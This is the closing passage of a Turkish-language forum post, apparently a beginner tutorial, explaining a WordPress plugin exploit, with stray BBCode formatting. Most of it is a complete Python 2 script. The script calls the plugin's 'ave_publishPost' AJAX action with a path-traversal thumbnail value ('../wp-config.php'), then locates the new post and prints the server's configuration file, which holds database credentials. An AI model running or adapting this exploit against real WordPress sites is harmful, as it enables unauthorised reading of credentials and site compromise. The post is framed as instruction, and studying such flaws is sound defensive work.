objHtml = urllib2.urlopen(url + '/?p=' + str(id))
[COLOR=rgb(255, 255, 255)]content = objHtml.readlines()
İkinci yanıtın içeriği satır satır okunur. Eğer bir satırda belirli bir metin varsa ('attachment-post-thumbnail size-post-thumbnail wp-post-image'), bu satırdaki resim URL'si çıkarılır ve bu URL üzerinden resim içeriği alınarak ekrana yazdırılır.
Tüm Kod:[/COLOR]
Python:
[COLOR=rgb(255, 255, 255)]import random
import urllib2
import re
url = "http://127.0.0.1/wordpress"
randomID = long(random.random() * 100000000000000000L)
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content = objHtml.readlines()
for line in content:
numbers = re.findall(r'\d+',line)
id = numbers[-1]
id = int(id) / 10
objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()
for line in content:
if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
urls=re.findall('"(https?://.*?)"', line)
print urllib2.urlopen(urls[0]).read()
Bu konu bu kadar. WordPress'in genel işleyişini bilmeden bu giriş seviye exploitlerden pek bir şey anlamazsınız. Konuda bahsettiğim gibi WordPress ile bir sunucu oluşturup mantığını kavramaya çalışabilirsiniz. Ben kendim de dahil ilgilenip öğrenmeye çalıştığım kısımlar var. WordPress ile alakalı diğer exploitler için "OffSec’s Exploit Database Archive" sayfasını incelemenizi ve PHP, JS gibi dillerle de çalışmalar yapmanızı öneririm. Ben temel ve giriş seviye de anlattım. Eksik bulduğunuz kısımları zorbalamak yerine konu açarak anlatabilirsiniz. Okuyan herkese teşekkür ederim.[/COLOR]
Son düzenleme: